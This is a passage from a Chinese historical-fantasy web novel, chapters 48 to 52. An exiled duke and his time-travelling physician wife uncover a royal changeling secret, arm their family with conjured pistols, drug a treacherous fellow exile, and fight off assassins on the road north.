《流放后,神医娇妻救了整个国公府》 第四十八章 草蛇灰线 次日清晨,宁芷薇被嘈杂声惊醒。简单梳洗后,走出帐篷。秦远霄正在不远处和几位兄长说着什么。见她出来,他快步走过来:"醒了?吃点东西再上路。官府来消息,让我们尽快赶路" 用过早饭,两人回到帐篷收拾东西。秦远霄将行李绑在骡车上,又仔细检查了一遍。 "走吧。"他拉起缰绳,对宁芷薇说。。 队伍缓缓前行,宁芷薇的目光不经意间扫过吴老六。她迅速移开视线,却发现秦远霄正若有所思地看着她。宁芷薇心中一惊,勉强挤出一个笑容。 段夫人笑眯眯地看向宁芷薇,"芷薇啊,你和远霄成亲也有段日子了,该添个小娃娃了吧? 宁芷薇一时语塞,眼神飘忽不定。她轻咬下唇,面颊泛起淡淡红晕。 "是啊是啊,你俩可得抓紧啊!"梁夫人也跟着起哄。 宁芷薇强自镇定,挤出一丝微笑。"各位婶婶莫要取笑了,这种事儿,随缘吧。"她低垂着眼帘,纤长的睫毛微微颤动。 秦远霄站在不远处,听得耳根发烫。他的目光不自觉地落在宁芷薇身上,心中泛起一丝涟漪。 "夫人们说笑了,"秦远霄上前解围,"我和芷薇还年轻,不急这一时。" 众人见状,也不再多言,转而聊起了别的话题。宁芷薇暗自松了口气,朝秦远霄投去一个感激的眼神。 不远处,于志高看着这温馨的一幕,眼中闪过一丝复杂的情绪。他懊悔当初没有像段家梁家那样巴结秦远霄。如今,他只能眼巴巴地看着别人享受这等殊荣。 于志高犹豫再三,终于鼓起勇气向秦远霄走去。秦远霄瞥了他一眼,面无表情。 "...秦公子。"于志高硬着头皮开口。 秦远霄微微挑眉,示意他继续。 于志高左右张望,压低声音道:"其实,当年粮草之事,我是受人指使。" "哦?看来何大人是准备出卖你的主子了?"秦远霄语带讥讽。 于志高咬了咬牙,豁出去道:"指使我的人是二皇子睿王。" "你说是东睿?"秦远霄眸光一凛。 于志高点头:"正是。" 秦远霄陷入沉思,这与他的猜测大相径庭。"我与他无冤无仇,他为何如此?" 于志高露出一丝奸笑:"秦公子聪明,应该明白我的意思。" 秦远霄强忍怒意:"于大人直说便是。" 于志高见状,连忙将东睿的阴谋和盘托出。"睿王整日做出那些吟诗作画的事情只是表象,为的就是让昭王与崇王对他放松警惕,认为他不会成为两人储君路上的绊脚石。岂不知,睿王私底下已经拉拢了很多朝臣,那些朝臣表面上看还都是昭王或者崇王一派,实则是在替睿王做事。" 秦远霄听罢,眉头紧锁。"睿王许你何好处?" 于志高犹豫片刻,终于道出了实情。"我有个私生女,名唤于玉珊。睿王得知后,亲自向我提亲,并许诺玉珊正妃之位。" 秦远霄若有所思,一时难辨真伪。他正欲追问,宁芷薇款款走来。 "夫君,你在这儿啊,我找你半天了。"她柔声细语道。 秦远霄回过神来,冲她温柔一笑。于志高见状,识趣地告退。 宁芷薇好奇地看了于志高一眼:"他找你做什么?" 秦远霄轻轻摇头:"无事,不过是些琐碎小事罢了。" 宁芷薇欲言又止,终是没再追问。两人并肩而立,静静地看着远处的繁华景致。 "芷薇,"秦远霄忽然开口,"你可曾想过我们的将来?" 宁芷薇微微一怔,随即莞尔一笑。"夫君此言何意?" 秦远霄深深地看着她:"我是说,你可愿与我共度余生?" 宁芷薇心头一颤,眼中泛起淡淡的水雾。"夫君......"她轻唤一声,声音里满是复杂的情绪。 秦远霄伸手将她揽入怀中。"无论前路如何,我都会在你身边。"他低声道。 宁芷薇靠在他胸前,听着他有力的心跳。这一刻,她感受到了无与伦比的安全感。 远处,于志高偷偷瞥了一眼这对璧人,既羡慕又嫉妒。 然而,秦远霄心中却在思索着于志高方才透露的消息。东睿的野心,朝堂的暗流,这些都可能影响到他和宁芷薇的未来。 宁芷薇似乎察觉到了秦远霄的心事,轻声问道:"夫君,可是有什么烦心事?" 秦远霄回过神来,温柔地看着她:"无事,只是在想些朝堂上的琐事。" 宁芷薇没有再问。她知道,有些事情,秦远霄不愿多说,或许是为了保护她。 于志高方才透露的信息如同一把双刃剑,既令人警惕,又让人难以判断真伪。睿王的野心如同暗涌的潮水,随时可能掀起滔天巨浪。 "睿王许诺的国丈之位、皇后之尊,确实足以蛊惑人心。"秦远霄低声自语。。 宁芷薇静静聆听着,她的手指不自觉地抚过桌上的史书。。 "这些记载或许能为我们指明方向。"她轻声说道,将一本繁体字史书推到秦远霄面前。 秦远霄接过书册,指尖轻抚封面。他缓缓翻开书页,目光如炬,仿佛要将每个字都烙印在脑海中。 "睿王此人,在史书中寥寥数笔,却不知暗藏多少祸患。"秦远霄蹙眉道,语气中带着几分忧虑。 宁芷薇轻叹一声,"有时最不起眼的人反而最危险。我们不能掉以轻心。" 两人目光交汇,皆从对方眼中看到了凝重。秦远霄合上书本,指节轻叩桌面,陷入沉思。 "我们必须想个法子,将这潜在的威胁扼杀在摇篮里。"他沉声道。 "或许我们可以借刀杀人。于志高已成弃子,何不借他之手探探虚实?" 秦远霄眉头微挑,示意她继续说下去。宁芷薇压低声音,"我们可以故意让于志高知晓一些消息,看他会如何反应。若他真与睿王有勾结,定会有所动作。" "妙计。只是,若真如此,恐怕会连累无辜。" 宁芷薇柔声道,"大局为重,我们尽量周全便是。况且,若不除去这隐患,将来恐有更多无辜之人受累。" 秦远霄沉默片刻,眉宇间的纠结渐渐化开。他轻叹一声,"你说得对。既如此,明日我便去寻于志高,试探他的口风。" 宁芷薇轻轻握住他的手,"小心为上,我总觉得事情没那么简单。睿王能隐藏至今,定有过人之处。" 秦远霄反手包住她的柔荑,"放心,我自有分寸。有你在身边,我也能多些底气。" 宁芷薇莞尔一笑,靠在秦远霄肩上,闭目享受这片刻的宁静。 夜色渐深,帐外虫鸣阵阵。宁芷薇轻声道,"时候不早了,我们该回去了。" 秦两人相携走出空间,回到了现实世界。。 宁芷薇轻声道,"明日一早,我便与你同去。" 秦远霄微微一怔,随即柔声道,"也好,有你在身边,我也安心些。" 翌日清晨,天刚蒙蒙亮,秦远霄和宁芷薇便起身,向于志高的帐篷走去。晨露沾湿了他们的衣襟,微凉的空气让人精神一振。 秦远霄低声道:"记住,无论发生什么,都不要轻举妄动。我们只是来探听消息的。" 宁芷薇郑重地点头,"我明白。你放心,我会小心应对。" 帐篷前,秦远霄深吸一口气,定了定神。他轻轻掀开帐帘,于志高正坐在一张简陋的木椅上,神色憔悴。 看到秦远霄和宁芷薇进来,于志高先是一愣,随即露出一丝苦笑。"秦公子,夫人,你们来得真早。" 秦远霄不动声色地打量着于志高,心中已了然。 游戏,才刚刚开始。 第四十九章 有备无患 宁芷薇指尖轻抚那把迷你电棍,她抬眸看向秦远霄,轻声道:"这是来自未来的防身利器,名叫电棍。" "你觉得这种东西给娘和嫂嫂们用来防身合适吗?"她轻声问道。 "这东西虽说小巧方便,易于收藏,但恐怕并不适合她们。"他缓缓摇头。 "为何?"宁芷薇挑眉,目光中带着几分疑惑。 秦远霄神色凝重,回想起那次刺杀的场景,不由得心头一紧。"上回那些刺客,你也看到了。他们惯用弓箭远程偷袭,近身搏斗只是无奈之举。" 他顿了顿,继续道:"家中女眷武艺不精,即便刺客近身,恐怕她们还未及反应,就已..."秦远霄没有说下去,但那未尽之意已然明了。 宁芷薇听罢,目光落在那瓶防狼喷雾上,心中暗自摇头。若连电棍都不够用,这喷雾就更显得无力了。 她的指尖无意识地敲打着桌面,思绪飞转。目前的情况下,嫂嫂们需要的是既能远程攻击,又威力强大的武器。 忽然,宁芷薇眼前一亮,仿佛抓住了什么。她意念一动,掌中多了把袖珍手枪。 秦远霄见状,眉梢微挑,眼中闪过一丝惊讶。"你打算给她们这个?" 宁芷薇点头,眼中带着几分坚定。"这种武器远程杀伤力强,最为合适。"她顿了顿,补充道:"借口我也想好了,就说是从洋人手中购得。" "芷薇,你有心了。"他的声音里带着一丝感激。 宁芷薇轻轻颔首,随即闪身离开空间。她坐在帐篷里,不断取出手枪。每一次意念的牵引,都让她的额头渗出细密的汗珠。直到面前摆了十把,她才稍稍松了口气,重返空间。 两人继续探讨《野史》,试图解开东岚对秦远霄的敌意。可疑点越来越多,他们却始终理不出头绪。或许是有人从中挑拨,亦或是东岚从钱贵妃那里得知了什么。 无论如何,秦远霄对自己的身份依然坚信不疑。他的手指无意识地摩挲着自己的手腕,那里有着秦家男儿独有的印记。这个印记,是他身份的最好证明。 宁芷薇微微一笑,目光却不经意间瞥向窗外。"咱们如今处境不稳,多做些准备总是好的。"她顿了顿,声音低沉了几分,"东睿那边,恐怕不会善罢甘休。" 秦远霄闻言,眉头微皱。"无妨,兵来将挡水来土掩。" 他的语气中带着一丝不易察觉的担忧。 她抿了抿唇,犹豫片刻后还是开口道:"远霄,你说我们改变了历史,会不会带来更大的麻烦?" 。"既然已经改变,那就无需多虑。"他轻轻将宁芷薇揽入怀中,"我们只需走好眼前的路。" 宁芷薇靠在他胸前,。这一刻,她忽然觉得内心无比安定。 院中的梨花在夜风中轻轻摇曳。 宁芷薇忽然想起了什么,抬头看向秦远霄。"对了,我们是不是该想办法联系顾星河?" "你说得对,此事不宜拖延。"他的声音里带着一丝急切。 。"我有个主意,不知当讲不当讲。"她压低声音,将自己的计划娓娓道来。 "妙计!就依你所言。"他赞许道。 用过早饭,趁官差收拾帐篷之际,宁芷薇将家中女眷聚到一处。她假意整理骡车,实则要将手枪藏入提前备好的木箱。 秦远霄也装作收拾物品,悄悄取出装有十把手枪的木箱。他仅打开一条缝隙,让家人窥见里面的东西。 女眷们好奇地探头张望,二儿媳正欲开口询问。秦老夫人冷眼一扫,声音低沉而严厉:"梁氏,你这是想让所有人都知道我们在做什么?" 二嫂吐了吐舌头,脸上闪过一丝慌乱。"娘,我知错了。"她低声应道,目光闪躲。 其他人见状,即便好奇也不敢出声。空气中弥漫着一丝紧张的气氛。 秦远霄环顾四周,见无人注意,这才低声道:"这是从洋人手中购得的暗器。"他的声音压得很低,生怕被外人听去。"威力强大,易于操作,我与冉冉决定给你们每人一把防身。" 二嫂却对"冉冉"二字格外在意,眼中闪过一丝惊讶。她偷偷瞥了眼九弟妇,又看了看九弟,心中暗自欣喜。看来九弟终于对九弟妹亲昵起来了。她心中不禁浮想联翩,想必用不了多久,秦家就能添丁进口了。 次日清晨,宁芷薇早早起身,开始准备计划所需的物品。秦远霄则负责联络可靠的信使。 宁芷薇从空间中取出一些看似普通的物品,仔细检查后放入一个精致的木匣中。秦远霄则在书房中写下一封措辞谨慎的信件。他的笔尖在宣纸上游走,时而停顿,时而快速\显然在字字斟酌。 正午时分,两人在院中碰面。宁芷薇将木匣交给秦远霄,低声问道:"准备妥当了吗?" 秦远霄点头,将信件小心翼翼地放入木匣。"一切就绪,就看顾星河如何反应了。" 傍晚时分,信使悄然离去。宁芷薇和秦远霄站在院门口,目送那道身影渐渐消失在暮色中。 "接下来,就是等待的时刻了。"秦远霄低声说道。 夜色渐浓,驿馆内灯火摇曳。秦远霄站在房间里,忽然感到一丝异样。他不动声色地看了宁芷薇一眼,随即快步走向窗边。 "我去外面看看。"秦远霄低声说道,手已经搭在了窗框上。 宁芷薇刚要开口,秦远霄的身影已如一缕青烟般消失在夜色中。她轻叹一声,转身回到桌前,指尖不自觉地在桌面上画着圈。 秦远霄在房顶上灵活地穿梭,追逐着几道黑影。月光下,他的眉头紧锁,目光如炬。黑影们似乎察觉到了追兵,速度更快了几分。 终于,在远离住宅的郊外,黑衣人停下了脚步。秦远霄也随之站定,沉声问道:"何方高人,深夜造访?" 话音刚落,几个黑衣人齐齐转身,摘下面巾。月光下,几张熟悉的面孔显露出来。 "属下庞勇,参见国公爷。"为首的黑衣人单膝跪地,声音中带着几分激动。 秦远霄一怔,快步上前将他们扶起。"庞勇?你们怎么会在这里?" 庞勇抬头,眼中闪烁着复杂的光芒。"听闻国公府遭难,我等辞官赶来相助。" 秦远霄目光扫过身后的陈越、李大刚、施清雨、郑良睿,心中震撼不已。这些都是父兄和自己亲手培养的将才,如今却为秦家弃官而来。 "你们好不容易熬到如今的位置,何必如此?"秦远霄无奈叹道。 庞勇直视秦远霄的眼睛,声音坚定:"国公爷待我等如亲兄弟,岂能见死不救?朝廷待您这般不公,我等绝不会为这样的昏君卖命。" 其他人纷纷附和,誓言效忠秦家。秦远霄心中翻涌,却仍有顾虑:"如今我已是流放犯人,你们跟着我,恐怕难有前途。" "国公爷在哪,我等便在哪!"几人异口同声地回答。 "既如此,你们暗中跟随,切勿暴露行迹。我们在塞北汇合。" 几人欣喜应允,转眼消失在夜色中。秦远霄独自返回驿馆,推门而入。 宁芷薇抬眼望来,眸中满是担忧:"可有什么事?" 秦远霄轻轻摇头,将方才遇到故人之事娓娓道来。宁芷薇听罢,眉头微蹙:"这倒是好事,只是他们如何安顿?" "让他们暗中跟随,以备不时之需。"秦远霄低声道。 第五十章 路遇劫匪 宁芷薇点头,又道:"方才你离开时,我察觉到些许异样。似乎有人在暗中窥视我们。" 秦远霄神色一凛:"看来这驿馆并不太平。我们要多加小心。" 翌日清晨,阳光洒进窗棂。秦远霄起身梳洗,准备与众人一同启程。宁芷薇整理行囊,忽听窗外传来喧哗声。 她掀开帘子,只见街上行人匆匆,神色慌张。秦远霄凑近窗边,低声道:"出什么事了?" 宁芷薇摇头:"不知,我去打听一下。"她快步下楼,来到驿馆大堂。 掌柜正与几位客人谈论着什么,神色凝重。宁芷薇上前询问,掌柜叹气道:"又是那伙江洋大盗,昨晚又劫了一户富商。" "这些大盗如此猖狂?"。 掌柜苦笑:"他们专抢富户,还接济穷人,老百姓都喜欢他们呢。只是这么一来,外地客商都不敢来了,我们这生意也是一天不如一天。" 宁芷薇若有所思,转身上楼告诉秦远霄。 "看来这江湖不太平啊。" 宁芷薇点头:"我们此行恐怕不会平静。" 秦远霄沉吟片刻,道:"无妨,有备无患。我们还是按计划启程,路上多加小心就是。" 两人收拾妥当,与其他人汇合。田丰已在楼下等候,见他们下来,急忙上前。 "九爷,夫人,昨晚的事你们可听说了?"田丰神色焦急。 秦远霄点头:"听说了,我们还是按计划启程吧。" 田丰犹豫道:"可是这路上若遇到那些大盗......" 秦远霄淡然一笑:"无妨,我们又不是富户。再说,有我在,定能保护大家周全。" 队伍缓缓前行,秦远霄和宁芷薇走在中间,远处,几道身影悄无声息地跟随,保护着这支看似平凡的队伍。 夜色渐浓,襄阳城外的官道上,几道身影如鬼魅般穿梭。秦远霄心中思绪万千。方才的邂逅带来了一个令人不安的消息,如同一记重锤狠狠击打在他心上。 "八哥的坟墓被人挖开了?"秦远霄低声喃喃,难以置信。他脑海中浮现出八哥秦雪松的音容笑貌,一阵酸楚涌上心头。 秦远霄加快脚步,急切地想要回到驿馆。月光如水,洒落在襄阳城的屋檐上,为这座古城蒙上一层银纱。他轻盈地落在驿馆窗口,正巧撞见宁芷薇推门而出。 "小心!"秦远霄本能地伸手扶住她,温热的掌心传来熟悉的触感。 宁芷薇抬头看向秦远霄,眼中闪过一丝惊喜,随即又蹙眉问道:"你去哪儿了?可是遇到东睿的人?" 秦远霄摇了摇头,轻轻将她拉进房间,"是自己人,不过......" 他顿了顿,目光中流露出几分凝重。 宁芷薇察觉到他的异样,轻声追问:"发生什么事了?" 秦远霄深吸一口气,将方才遇到庞勇等人的事娓娓道来。"他们说,八哥的坟墓被人挖开了,棺椁里空无一物。" "为何只有八爷的坟墓被挖开?其他人的呢?" 秦远霄苦笑一声,"我也不知,但总觉得事情没那么简单。"他的声音低沉,带着几分困惑和愤怒。 宁芷薇轻轻握住秦远霄的手,柔声道:"眼下我们也无能为力,先安顿好家人要紧。等到了塞北,再好好查查这件事。" 翌日清晨,宁芷薇随官差出门采买,秦远霄则留在驿馆保护家人。 集市上人声鼎沸,宁芷薇却心不在焉,脑海中还在回想昨夜的对话。她借故支开官差,悄悄打开仙市阁,心想这里采买更为便捷。 宁芷薇一边挑选物资,一边思索着八哥坟墓被挖的事。待到时间差不多,她才牵着满载的骡车与官差汇合。回程路上,宁芷薇的心思早已飞到了千里之外的塞北。她不禁想象着,那片陌生的土地上会有怎样的艰险等待着他们。 秦远霄站在驿馆窗前,远远望见宁芷薇的身影,心中稍安。宁芷薇回到驿馆,将采买的物资一一整理。、 "路上可有什么异常?"秦远霄低声问道。 宁芷薇摇了摇头,"一切如常,倒是你,可想到了什么?" 秦远霄沉吟片刻,"我总觉得,八哥的事不会这么简单。或许还有我们不知道的隐情。" 秋风渐起,吹散了傍晚的余热。官道上,一队人马缓缓前行,尘土飞扬中隐约可见几个高大身影若隐若现。秦远霄目光一扫,微不可察地点了点头,那几个身影便如幽灵般融入了暮色。 队伍行至一处村落,忽听一声凄厉呼救打破了宁静。 "救命啊!有人抢劫!" 一位白发苍苍的老妇人跌跌撞撞地冲向队伍,怀中紧抱着一个包裹,衣衫褴褛,眼中满是惊恐。身后几个壮汉紧追不舍。 田丰抬手示意队伍停下,眯眼打量着这突如其来的意外。老妇人气喘吁吁地躲到田丰身后,声音颤抖:"我可以给银子,求您救救我!" 田丰心思活络起来,几个壮汉气势汹汹地逼近,他带人挡在了前面,厉声喝道:"光天化日之下,你们是想找死吗?" 领头的壮汉咧嘴一笑,露出一口黄牙:"官爷,这老妇是我家仆人,偷了东西想跑。" 老妇人立刻反驳:"官爷别听他胡说,我根本不认识他们!" 秦远霄本不欲多管闲事,可一眼瞥见老妇人的面容,心中顿时一惊。他快步上前,语气沉稳地对几个壮汉道:"几位还是歇了这心思吧,免得自讨苦吃。" 顾嬷嬷听到这熟悉的声音,心中一阵慌乱,正欲悄悄溜走。宁芷薇眼疾手快,一把拉住了她,低声道:"你还不能走。" 顾嬷嬷心虚不已,只得乖乖站住。几个壮汉见势不妙,转身就逃。 秦远霄转身对田丰说:"田大哥,这位老人家是个熟人,我想单独与她聊聊。" 田丰点头应允,秦远霄便与宁芷薇一左一右将顾嬷嬷带到一旁。顾嬷嬷低着头,不敢与秦远霄对视,双手紧紧攥着衣角。 "顾嬷嬷为何会出现在这里?"秦远霄开门见山地问道。 顾嬷嬷强作镇定,声音有些颤抖:"这位公子怕是认错人了,我不是什么顾嬷嬷。" 她的眼神飘忽,不敢直视秦远霄的目光。 秦远霄不为所动,语气依旧平静:"顾嬷嬷是有什么难言之隐吗?" 顾嬷嬷仍在嘴硬,从怀中取出几件首饰,手微微发抖:"老婆子感激公子的救命之恩,这些就当是谢礼了。"说罢,她又想转身离开。 宁芷薇再次拦住了她的去路,眼中带着几分审视。顾嬷嬷的肩膀微微颤抖,终于放弃了伪装,声音低沉:"国公爷,老奴是从宫里逃出来的,落魄的样子被您看到,真是惭愧。" 秦远霄心中一沉,直觉告诉他,这事必定与东岚有关。他小心翼翼地试探道:"顾嬷嬷,可是贵妃娘娘遇到了困难?" 顾嬷嬷犹豫片刻,终于下定决心:"老奴当年做了一件错事,如今也算遭到报应了。" 她的声音微微颤抖,眼角泛起泪光。 秦远霄心中一动,追问道:"顾嬷嬷说的事情与崇王有关?" 顾嬷嬷大惊失色,脸色瞬间变得苍白:"国公爷知道此事?" 她的手不自觉地抓紧了怀中的包裹。 秦远霄没有隐瞒,简述了东岚曾经的刺杀和下毒之事。顾嬷嬷闻言,似悔恨,似解脱。 第五十一章 又见掉包计 "国公爷,老奴有一个天大的秘密要告诉您。"她的声音微微颤抖,眼中满是纠结和挣扎。 秦远霄和宁芷薇对视一眼,屏息凝神地等待着。顾嬷嬷深吸一口气,缓缓道出了一个惊天动地的秘密。 "其实,崇王根本就不是圣上的儿子。"顾嬷嬷的声音很轻,却如同一声惊雷在秦远霄耳边炸响。 秦远霄瞳孔骤缩,难以置信地看着顾嬷嬷:"此话当真?" 顾嬷嬷低垂着头,眼中闪烁着复杂的情绪。她的手指不安地绞在一起,似乎在犹豫该如何开口。 "老奴有话要说,还望国公爷与夫人能够听完。"她的声音略显颤抖,。 秦远霄和宁芷薇交换了一个眼神,默默点头示意她继续。 "其实...崇王并非钱贵妃亲生。"顾嬷嬷的话语如同一记重锤,砸在两人心头。 秦远霄眉头微蹙,眼中闪过一丝难以置信。宁芷薇则倒吸一口凉气,不由自主地握紧了拳头。 "他是老奴那不成器的侄儿。"顾嬷嬷继续说道,声音中带着深深的愧疚。 "二十一年前,一位算命先生曾言钱贵妃腹中是个女儿。"她叹了口气,仿佛在回忆那段不堪的往事。"为了保住自己的地位,贵妃想到了偷梁换柱的主意。" 顾嬷嬷的声音越来越低,似乎在忏悔自己曾经的所作所为。"那日,老国公夫人生下了男婴,也就是如今的国公爷。贵妃便将主意打到了秦家身上。" 秦远霄眼中闪过一丝异色,隐约猜到了接下来的发展。 "可老奴...老奴起了私心,想着让自家侄儿当上皇子。"顾嬷嬷的声音带着几分哽咽,似乎在为自己的自私感到羞愧。"于是,老奴将贵妃生下的孩子留在了自己家中,而后抱着侄儿回宫,谎称换来了秦家的孩子。" 宁芷薇听到这里,不禁攥紧了衣袖,眼中闪过一丝震惊。 "然而,事情却出乎老奴的意料。"顾嬷嬷抬起头,目光中带着几分讽刺。"稳婆临死前告诉我们,贵妃生的本就是个皇子。老奴回家一看,果然如此。" 秦远霄眼中闪过一丝精光,似乎已经猜到了真相。 "为了弥补过错,老奴建议兄长给孩子取名时带个"星"字。"顾嬷嬷说着,嘴角泛起一丝苦笑。"最后,那孩子被取名为顾星河。" 秦远霄和宁芷薇听到这个名字,眼里充满惊讶。 "老奴让兄嫂带着孩子离开京城,至今杳无音信。"顾嬷嬷说完,长长地舒了一口气,仿佛卸下了千斤重担。 秦远霄沉思片刻,问道:"东岚是如何得知此事的?" 顾嬷嬷苦笑一声,道:"年初时,他无意中听到了我们的对话。他威胁贵妃,若泄露半句,便要拉着她的母族陪葬。" "更可怕的是,他还抓走了许嬷嬷严刑拷问。"顾嬷嬷说到这里,眼中闪过一丝恐惧。"老奴侥幸逃脱,这半年来一直在躲避追杀。" 秦远霄听完这一切,心中已有了计较。他看向顾嬷嬷,问道:"顾嬷嬷,你可想见顾星河?" 顾嬷嬷闻言一惊,不确定地问:"国公爷认识星河?" 秦远霄微微点头, 顾嬷嬷跪下叩首,语气诚恳:"老奴已将知晓的事情全盘托出。相信国公爷品性,定不会外传。既知三皇子下落,老奴欲去寻他,将真相告知。" 秦远霄伸手扶起顾嬷嬷,:"嬷嬷独自回京恐有不测,我可派人护送一程。" 顾嬷嬷闻言,眼中闪过一丝感激之色。她犹豫片刻,最终还是点头应允。 宁芷薇看着这一幕,心中百感交集。她深知,这个秘密将会掀起怎样的惊涛骇浪。她不由得握紧了秦远霄的手,似乎在寻求一丝安慰。 顾嬷嬷继续说道:"这些年来,我一直活在愧疚和恐惧中。如今贵妃娘娘病重,我担心这个秘密会被带进棺材,所以才冒险逃出宫来。" 秦远霄的脑海中闪过无数个念头,东岚的种种行为似乎都有了解释。他沉声问道:"除了我们,还有谁知道这个秘密?" 顾嬷嬷低声道:"只有贵妃娘娘和我知道。" 秦远霄陷入了沉思,这个秘密关系重大,牵连甚广。他不禁想到,如果这个消息传出去,整个朝廷恐怕都会大乱。 就在这时,远处传来田丰的呼喊声:"秦公子,该出发了!" 秦远霄回过神来,对顾嬷嬷说:"这件事暂时不要告诉其他人,我会想办法查清楚真相。你先跟我们一起走,我会保护你的安全。" 顾嬷嬷点点头,眼中露出感激之色。他们带着顾嬷嬷回到队伍中,继续前行。 这个秘密究竟会引发怎样的风暴?而东岚,他是否知道自己的真实身份? 夜幕渐渐降临,官道上的队伍继续前行,仿佛什么都没有发生。但秦远霄知道,一场足以改变整个王朝命运的风暴,已经悄然酝酿。 顾嬷嬷看着眼前这对夫妻,心中不禁升起一丝愧疚。她知道,自己的这个秘密或许会给他们带来麻烦。但她别无选择,只能将希望寄托在秦远霄的仁义之上。 "国公爷,老奴知道这个秘密可能会给您带来麻烦。"顾嬷嬷低声说道,"但老奴实在无处可去,只能恳请您的帮助。" 秦远霄沉吟片刻,道:"嬷嬷不必担心。这件事关系重大,我会妥善处理。你现在最重要的是保证自身安全,等待合适的时机再去寻找顾星河。" 顾嬷嬷闻言,眼中闪过一丝感激。她深深地弯下腰,道:"多谢国公爷。老奴这条命,从今以后就是您的了。" 宁芷薇看着这一幕,心中不禁有些触动。她知道,丈夫的这个决定可能会给他们带来危险。但她也明白,这或许是改变大顺命运的一个契机。 夜幕低垂,山脚下的营地渐渐安静下来。零星的篝火在黑暗中闪烁,照亮了几个值夜人的轮廓。秦远霄悄无声息地从帐篷里钻出,目光警惕地扫视四周。确定无人注意后,他轻手轻脚地向于家人休息的地方摸去。 途中,秦远霄停在一棵大树上,低头望去。于志高正坐在树下,神色紧张地四下张望。见四下无人,于志高从怀中掏出一块布条,咬破手指蘸血写字。秦远霄眯起眼睛,借着微弱的月光勉强辨认出几个字:"秦远霄"、"神秘剑客"、"不轨"。 于志高写完后,小心翼翼地将布条塞进鞋底。秦远霄眸中寒意闪过,无声无息地退回自己的帐篷。 "怎么样?"宁芷薇轻声问道,眼中带着几分担忧。 秦远霄简单说了于志高的行为,宁芷薇柳眉微蹙。"看来这于志高是铁了心要给我们找麻烦。" 秦远霄冷笑一声:"既然如此,就别怪我们不客气了。" 宁芷薇点点头,从袖中取出一个小瓷瓶:""失神"已经配好了。" 秦远霄接过瓷瓶,在掌心掂了掂:"多谢夫人。" 他转身欲走,却被宁芷薇拉住衣袖。 "小心些,别被人发现。"宁芷薇低声叮嘱,眼中满是担忧。 秦远霄轻轻拍了拍她的手:"放心,我自有分寸。"说罢,他悄无声息地钻出帐篷,再次向于家人休息的地方摸去。 第五十二章 兄弟相见 夜风吹拂,树叶沙沙作响,掩盖了秦远霄的脚步声。他来到于志高的帐篷外,轻声呼唤:"于兄,于兄,你睡了吗?" 帐篷内传来窸窸窣窣的声音,片刻后于志高掀开帘子钻了出来。"秦兄弟,这么晚有什么事?" 秦远霄压低嗓音:"有要事相商,可否出来一叙?" 于志高犹豫片刻,还是跟着秦远霄走到一处僻静的林子里。秦远霄四下看了看,确定无人后凑近于志高:"于兄,我有一桩大买卖要与你商议。" 于志高眼前一亮:"什么买卖?说来听听。" 秦远霄压低声音:"是关于逃离流放队伍的计划。" 于志高大吃一惊:"这...这可是死罪啊!" 秦远霄冷笑:"难道你甘心一辈子在边疆受苦?" 于志高沉默了,出现了一丝动摇。秦远霄见状,趁热打铁道:"我这里有一壶好酒,咱们边喝边谈如何?" 于志高警惕地看了他一眼,还是点了点头。秦远霄取出酒壶,倒了两杯,递了一杯给于志高。于志高接过酒杯,仰头一饮而尽。 秦远霄见状,嘴角勾起一抹不易察觉的笑意。不多时,于志高只觉得头晕目眩,意识渐渐模糊。他惊恐地看向秦远霄:"你...你对我做了什么?" 秦远霄冷冷地看着他:"于兄,我劝你好自为之。" 话音未落,于志高便瘫软在地,陷入昏迷。 秦远霄蹲下身,从于志高鞋底取出那块布条。火折子点燃了一堆干草,橘红的火光映照出血书上的字迹。 秦远霄仔细阅读着内容,眉头越皱越紧。果然如他所料,于志高已经起了疑心,还打算向睿王告密。他冷笑一声,将血书扔进火堆。 "本想饶你一命,却不知好歹。"他直接将布条撕碎扔进篝火。做完这一切,秦远霄拖着于志高回到他的帐篷。 将人安置好后,秦远霄若无其事地回到自己帐篷。宁芷薇见他平安归来,松了口气:"如何?" 秦远霄轻声道:"放心,一切都已妥当。" 翌日清晨,于家人发现于志高变成了傻子。田丰匆匆赶来查看,却也无计可施。于家人哭天抢地,其他人则议论纷纷。 "怎么会这样?昨晚还好好的。"于志高的母亲泪眼婆娑,看着儿子茫然的眼神,心如刀绞。 田丰皱眉思索:"会不会是中邪了?这山林里难保没有什么不干净的东西。" 于志高的父亲摇头叹息:"早知如此,就该听他的劝告,不来这鬼地方。" 秦远霄和宁芷薇站在人群外,装作一脸惊讶。"这是怎么回事?于兄怎么突然变成这样了?" 田丰走过来,低声说道:"秦兄弟,你见多识广,可有什么办法?" 秦远霄缓缓摇头:"这恐怕是命数使然,非人力所能挽回。" 田丰叹了口气,无奈地说:"也罢,只能走一步看一步了。" 没人知道昨夜发生了什么,真相永远埋藏在黑暗中。 十天过去,大队人马依旧在路上跋涉。东睿迟迟没有动静,却让秦远霄和宁芷薇更加警惕。九月的夜晚,寒意渐浓,帐篷里也难觅温暖。 宁芷薇正在帐篷里整理被褥,突然察觉到一丝异样。她冲出帐篷,只见秦远霄正用锅铲抵挡飞来的箭矢。 她毫不犹豫地扔出一把九龙折扇,"接着!"秦远霄稳稳接住,继续抵挡箭雨。 宁芷薇躲在树后观察,发现几个黑衣人正在远处放箭。她迅速爬上大树,取出袖箭反击。 营地顿时乱作一团,官差和其他犯人纷纷警戒起来。田丰大声喊着有刺客,让大家小心。段家和梁家的男人们拿起身边的东西充当武器,却无法靠近战场。 庞勇带着施清雨和郑良睿赶来支援秦远霄。宁芷薇的袖箭已经射倒了三名黑衣人,然而更多的黑衣人不断涌来。 秦远霄见状,担心连累家人,施展轻功朝远处跑去。黑衣人紧追不舍,宁芷薇在后面不断放箭。 "为什么只追秦远霄?"宁芷薇心中疑惑,却不敢停下脚步。 跑出数百米后,秦远霄停下脚步,与黑衣人厮杀在一起。庞勇等人随后赶到,加入战斗。宁芷薇赶到时,已有不少黑衣人倒下。 剩下的黑衣人见势不妙,纷纷逃窜。唯有一人仍不依不饶地攻击秦远霄,招招狠辣,步步紧逼。 秦远霄渐渐落了下风,额头渗出细密的汗珠。宁芷薇举起弩箭瞄准那人后脑,正要放箭。 "不要伤他!"秦远霄突然喊道。 宁芷薇静立一旁,眼神飘忽不定。秦远霄阻止她出手的用意,她虽不明白,却也顺从地放下了手中的弓箭。 黑衣人的攻势如狂风骤雨,秦远霄却一味闪避,迟迟不肯还手。宁芷薇眉头微皱,心中隐约猜到了几分。她悄无声息地将弩箭换成麻醉枪,瞄准黑衣人的左肩。 